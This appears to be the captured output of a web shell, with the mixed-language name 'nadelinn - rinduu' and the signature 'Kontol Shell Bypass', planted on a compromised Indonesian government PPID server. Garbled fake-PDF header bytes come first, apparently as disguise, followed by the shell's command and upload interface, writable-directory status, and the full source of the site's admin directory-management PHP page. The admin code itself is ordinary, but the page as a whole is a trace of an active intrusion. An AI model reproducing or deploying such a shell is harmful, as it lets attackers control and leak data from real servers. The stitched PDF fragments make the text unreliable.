%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/direktori.php
<?php
/**
 * Admin: Master Direktori — kelola daftar direktori untuk pengelompokan dokumen.
 * Direktori dipilih saat admin menambah/mengubah dokumen.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_central();

$errors = [];
$form = ['id' => 0, 'nama' => '', 'kategori_id' => 0, 'deskripsi' => '', 'urutan' => 0];
$kategoriList = get_kategori();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    $action = post_param('action');

    if ($action === 'delete') {
        $id = (int) post_param('id');
        db()->prepare('DELETE FROM direktori WHERE id = ?')->execute([$id]);
        set_flash('success', 'Direktori berhasil dihapus. Dokumen terkait menjadi tanpa direktori.');
        redirect('admin/direktori.php');
    }

    // Simpan (tambah / ubah).
    $form = [
        'id'          => (int) post_param('id'),
        'nama'        => trim(post_param('nama')),
        'kategori_id' => (int) post_param('kategori_id'),
        'deskripsi'   => post_param('deskripsi'),
        'urutan'      => (int) post_param('urutan'),
    ];
    if ($form['nama'] === '') {
        $errors['nama'] = 'Nama direktori wajib diisi.';
    } else {
        // Cegah duplikat nama.
        $chk = db()->prepare('SELECT COUNT(*) FROM direktori WHERE nama = ? AND id <> ?');
        $chk->execute([$form['nama'], $form['id']]);
        if ((int) $chk->fetchColumn() > 0) {
            $errors['nama'] = 'Nama direktori sudah ada.';
        }
    }
    if ($form['kategori_id'] <= 0 || !get_kategori_by_id($form['kategori_id'])) {
        $errors['kategori_id'] = 'Kategori wajib dipilih.';
    }

    if (empty($errors)) {
        // Slug unik dari nama.
        $base = slugify($form['nama']);
        $slug = $base !== '' ? $base : 'direktori';
        $i = 2;
        while (true) {
            $c = db()->prepare('SELECT COUNT(*) FROM direktori WHERE slug = ? AND id <> ?');
            $c->execute([$slug, $form['id']]);
            if ((int) $c->fetchColumn() === 0) {
                break;
            }
            $slug = $base . '-' . $i++;
        }

        if ($form['id'] > 0) {
            db()->prepare('UPDATE direktori SET nama=?, slug=?, kategori_id=?, deskripsi=?, urutan=? WHERE id=?')
                ->execute([$form['nama'], $slug, $form['kategori_id'], $form['deskripsi'], $form['urutan'], $form['id']]);
            set_flash('success', 'Direktori berhasil diperbarui.');
        } else {
            db()->prepare('INSERT INTO direktori (nama, slug, kategori_id, deskripsi, urutan) VALUES (?,?,?,?,?)')
                ->execute([$form['nama'], $slug, $form['kategori_id'], $form['deskripsi'], $form['urutan']]);
            set_flash('success', 'Direktori baru berhasil ditambahkan.');
        }
        redirect('admin/direktori.php');
    }
}

// Mode edit via query string.
$editId = (int) get_param('edit');
if ($editId > 0 && empty($errors)) {
    $d = get_direktori($editId);
    if ($d) {
        $form = ['id' => (int) $d['id'], 'nama' => $d['nama'], 'kategori_id' => (int) ($d['kategori_id'] ?? 0), 'deskripsi' => $d['deskripsi'] ?? '', 'urutan' => (int) $d['urutan']];
    }
}

// Daftar direktori beserta jumlah dokumen.
$rows = db()->query(
    "SELECT dir.*, k.nama AS kategori_nama, k.tipe AS kategori_tipe,
            (SELECT COUNT(*) FROM dokumen_informasi d WHERE d.direktori_id = dir.id) AS jml_dok
     FROM direktori dir
     LEFT JOIN kategori_informasi k ON k.id = dir.kategori_id
     ORDER BY dir.urutan ASC, dir.nama ASC"
)->fetchAll();

$isEdit = $form['id'] > 0;
$pageTitle  = 'Master Direktori — CMS PPID';
$activeMenu = 'direktori';
require __DIR__ . '/partials/head.php';
$val = static fn (string $k) => e((string) ($form[$k] ?? ''));
?>

<div class="mb-6">
    <h2 class="text-2xl font-bold text-slate-900">Master Direktori</h2>
    <p class="text-sm text-slate-500 mt-1">Kelola daftar direktori. Direktori dipilih saat menambahkan dokumen baru.</p>
</div>

<div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
    <!-- Form tambah/edit -->
    <div class="lg:col-span-1">
        <div class="bg-white border <?= $isEdit ? 'border-mateng-blue/40' : 'border-slate-100' ?> rounded-xl shadow-sm p-6 sticky top-6">
            <h3 class="font-bold text-slate-800 mb-4 flex items-center gap-2">
                <i class="fas <?= $isEdit ? 'fa-pen' : 'fa-plus' ?> text-mateng-blue"></i> <?= $isEdit ? 'Edit Direktori' : 'Tambah Direktori' ?>
            </h3>
            <form method="post" class="space-y-4">
                <?= csrf_field() ?>
                <input type="hidden" name="action" value="save">
                <input type="hidden" name="id" value="<?= (int) $form['id'] ?>">
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Nama Direktori <span class="text-red-500">*</span></label>
                    <input type="text" name="nama" value="<?= $val('nama') ?>" placeholder="mis. Laporan Keuangan" class="w-full rounded-lg border px-3 py-2.5 outline-none focus:ring-4 <?= isset($errors['nama']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
                    <?php if (isset($errors['nama'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['nama']) ?></p><?php endif; ?>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Kategori Informasi <span class="text-red-500">*</span></label>
                    <select name="kategori_id" class="w-full rounded-lg border px-3 py-2.5 outline-none focus:ring-4 bg-white <?= isset($errors['kategori_id']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
                        <option value="">— Pilih kategori —</option>
                        <?php foreach ($kategoriList as $kat): ?>
                            <option value="<?= (int) $kat['id'] ?>" <?= $form['kategori_id'] == $kat['id'] ? 'selected' : '' ?>><?= e($kat['nama']) ?><?= $kat['tipe'] === 'regulasi' ? ' (Regulasi)' : '' ?></option>
                        <?php endforeach; ?>
                    </select>
                    <?php if (isset($errors['kategori_id'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['kategori_id']) ?></p><?php endif; ?>
                    <p class="text-xs text-slate-400 mt-1">Dokumen di folder ini otomatis masuk kategori tersebut.</p>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Deskripsi</label>
                    <textarea name="deskripsi" rows="3" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100"><?= $val('deskripsi') ?></textarea>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Urutan</label>
                    <input type="number" name="urutan" value="<?= $val('urutan') ?>" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                    <p class="text-xs text-slate-400 mt-1">Angka lebih kecil tampil lebih dahulu.</p>
                </div>
                <div class="flex gap-2 pt-1">
                    <button type="submit" class="bg-mateng-green hover:bg-green-700 text-white font-semibold px-5 py-2.5 rounded-lg transition-colors flex items-center gap-2"><i class="fas fa-save"></i> <?= $isEdit ? 'Perbarui' : 'Simpan' ?></button>
                    <?php if ($isEdit): ?><a href="<?= e(url('admin/direktori.php')) ?>" class="bg-slate-100 hover:bg-slate-200 text-slate-700 font-semibold px-5 py-2.5 rounded-lg transition-colors">Batal</a><?php endif; ?>
                </div>
            </form>
        </div>
    </div>

    <!-- Daftar direktori -->
    <div class="lg:col-span-2">
        <div class="bg-white border border-slate-100 rounded-xl shadow-sm overflow-hidden">
            <div class="overflow-x-auto">
                <table class="w-full text-left border-collapse">
                    <thead>
                        <tr class="bg-slate-50 text-slate-500 text-xs uppercase tracking-wider">
                            <th class="px-5 py-4 font-semibold">Direktori</th>
                            <th class="px-5 py-4 font-semibold text-center">Dokumen</th>
                            <th class="px-5 py-4 font-semibold text-center">Aksi</th>
                        </tr>
                    </thead>
                    <tbody class="text-sm divide-y divide-slate-100 text-slate-700">
                        <?php if (empty($rows)): ?>
                            <tr><td colspan="3" class="px-5 py-10 text-center text-slate-400">Belum ada direktori. Tambahkan melalui form di samping.</td></tr>
                        <?php endif; ?>
                        <?php foreach ($rows as $r): ?>
                            <tr class="hover:bg-slate-50/50">
                                <td class="px-5 py-3.5">
                                    <div class="font-medium text-slate-800 flex items-center gap-2"><i class="fas fa-folder-tree text-mateng-gold"></i> <?= e($r['nama']) ?></div>
                                    <div class="ml-6 mt-1">
                                        <?php if (!empty($r['kategori_nama'])): ?>
                                            <span class="inline-flex items-center px-2 py-0.5 rounded-full text-[11px] font-semibold bg-blue-50 text-mateng-blue border border-blue-200"><i class="fas fa-tag mr-1"></i><?= e($r['kategori_nama']) ?><?= $r['kategori_tipe'] === 'regulasi' ? ' · Regulasi' : '' ?></span>
                                        <?php else: ?>
                                            <span class="inline-flex items-center px-2 py-0.5 rounded-full text-[11px] font-semibold bg-amber-50 text-mateng-gold border border-amber-200"><i class="fas fa-triangle-exclamation mr-1"></i>Belum ada kategori</span>
                                        <?php endif; ?>
                                    </div>
                                    <?php if (!empty($r['deskripsi'])): ?><div class="text-xs text-slate-400 mt-0.5 ml-6"><?= e($r['deskripsi']) ?></div><?php endif; ?>
                                </td>
                                <td class="px-5 py-3.5 text-center"><?= (int) $r['jml_dok'] ?></td>
                                <td class="px-5 py-3.5">
                                    <div class="flex items-center justify-center gap-1">
                                        <a href="<?= e(url('admin/direktori.php?edit=' . $r['id'])) ?>" class="p-2 text-mateng-blue hover:bg-blue-50 rounded-lg" title="Edit"><i class="fas fa-pen"></i></a>
                                        <form method="post" class="inline" onsubmit="return confirm('Hapus direktori ini? Dokumen terkait akan menjadi tanpa direktori.');">
                                            <?= csrf_field() ?>
                                            <input type="hidden" name="action" value="delete">
                                            <input type="hidden" name="id" value="<?= (int) $r['id'] ?>">
                                            <button type="submit" class="p-2 text-red-500 hover:bg-red-50 rounded-lg" title="Hapus"><i class="fas fa-trash"></i></button>
                                        </form>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass